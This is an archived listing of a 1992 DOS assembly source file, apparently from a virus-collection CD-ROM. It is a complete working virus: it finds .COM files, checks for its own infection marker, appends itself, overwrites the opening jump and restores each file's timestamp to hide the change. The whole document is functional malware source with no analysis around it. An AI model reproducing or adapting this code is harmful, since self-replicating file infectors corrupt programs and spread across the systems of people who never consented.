home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / TINY-C.ASM < prev    next >
Assembly Source File  |  1992-09-13  |  5KB  |  102 lines

  1.     PAGE    ,132
  2. tinyv   SEGMENT BYTE PUBLIC 'code'
  3.         ASSUME  CS:tinyv
  4.         ASSUME  SS:tinyv
  5.         ASSUME  DS:tinyv
  6. H00000    DB    0
  7. H00001    DB    255 DUP(?)
  8. program  PROC    FAR
  9.         ASSUME  ES:tinyv
  10. begin:
  11.         JMP     pgstart                 ; start program
  12. exlbl   LABEL   BYTE
  13.         db      0CDh, 20h, 7, 8, 9
  14. pgstart:
  15.         CALL    tinyvir
  16. mnprg   PROC    NEAR
  17. tinyvir:
  18.         POP     SI                      ; get SI for storage
  19.         SUB     SI,offset tinyvir       ; reset SI to virus start
  20.         MOV     BP,[SI+blnkdat]         ; store SI in BP for return
  21.         ADD     BP,offset exlbl         ; Add to get original offset
  22.  
  23.         LEA     DX,[SI+fspec]           ; get filespec (*.COM)
  24.         SUB     CX,CX                   ;        ||    (clear regs)
  25.         MOV     AH,4EH                  ;        ||   (find files)
  26. mainloop:                               ;       \||/
  27.         INT     21H                     ;    ----\/----
  28.         JC      hiccup                  ; no more files found, terminate virus
  29.         MOV     DX,009EH                ; set file name pointer
  30.         MOV     AX,3D02H                ; open file
  31.         INT     21H                     ; do it!
  32.         MOV     BX,AX                   ; move file handle to BX
  33.         MOV     AH,3FH                  ; read file
  34.         LEA     DX,[SI+endprog]         ; load end of program (as buffer pntr)
  35.         MOV     DI,DX                   ; set Dest Index to area for buffer (?)
  36.         MOV     CX,0003H                ; read 3 bytes
  37.         INT     21H                     ; do it!
  38.         CMP     BYTE PTR [DI],0E9H      ; check for JMP at start
  39.         JE      infect                  ; If begins w/JMP, Infect
  40. nextfile:
  41.         MOV     AH,4FH                  ; set int 21 to find next file
  42.         JMP     mainloop                ; next file, do it!
  43. hiccup: JMP     nofile
  44. infect:
  45.         MOV     AX,5700h                ; get date function
  46.         INT     21h                     ; do it!
  47.         PUSH    DX                      ; store date + time
  48.         PUSH    CX
  49.         MOV     DX,[DI+01H]             ; set # of bytes to move
  50.         MOV     [SI+blnkdat],DX         ;  "  " "    "   "   "
  51.         SUB     CX,CX                   ;  "  " "    "   "   " (0 here)
  52.         MOV     AX,4200H                ; move file
  53.         INT     21H                     ; do it!
  54.         MOV     DX,DI                   ; set dest index to area for buffer (?)
  55.         MOV     CX,0002H                ; two bytes
  56.         MOV     AH,3FH                  ; read file
  57.         INT     21H                     ; do it!
  58.         CMP     WORD PTR [DI],0807H     ; check for infection
  59.         JE      nextfile                ; next file if infected
  60.         SUB     DX,DX                   ; clear regs
  61.         SUB     CX,CX                   ;   "    "
  62.         MOV     AX,4202H                ; move file pointer
  63.         INT     21H                     ; do it!
  64.         CMP     DX,00H                  ; new pointer location 0?
  65.         JNE     nextfile                ; if no then next file
  66.         CMP     AH,0FEH                 ; new pointer loc too high?
  67.         JNC     nextfile                ; yes, try again
  68.         MOV     [SI+offset endprog+3],AX; point to data
  69.         MOV     AH,40H                  ; write instruction
  70.         LEA     DX,[SI+0105H]           ; write buffer loc    |
  71.         MOV     CX,offset endprog-105h  ; (size of virus)  --\|/--
  72.         INT     21H                     ; do it!
  73.         JC      exit                    ; error, bug out
  74.         MOV     AX,4200H                ; move pointer
  75.         SUB     CX,CX                   ; clear reg
  76.         MOV     DX,OFFSET H00001        ; where to set pointer
  77.         INT     21H                     ; do it!
  78.         MOV     AH,40H                  ; write to file
  79.         LEA     DX,[SI+offset endprog+3]; write data at SI+1AB
  80.         MOV     CX,0002H                ; two bytes (the JMP)
  81.         INT     21H                     ; do it!
  82.         MOV     AX,5701h                ; store date
  83.         POP     CX                      ; restore time
  84.         POP     DX                      ; restore date
  85.         INT     21h                     ; do it!
  86. exit:
  87.         MOV     AH,3EH                  ; close file
  88.         INT     21H                     ; do it!
  89. nofile:
  90.  
  91.         JMP     BP                      ; go to original file
  92. mnprg   ENDP
  93. program  ENDP
  94. blnkdat LABEL   WORD
  95.         DW      0000H
  96. fspec   LABEL   WORD
  97.         DB      '*.COM'
  98.     DB    0
  99. endprog LABEL   WORD
  100. tinyv   ENDS
  101.         END     program
  102.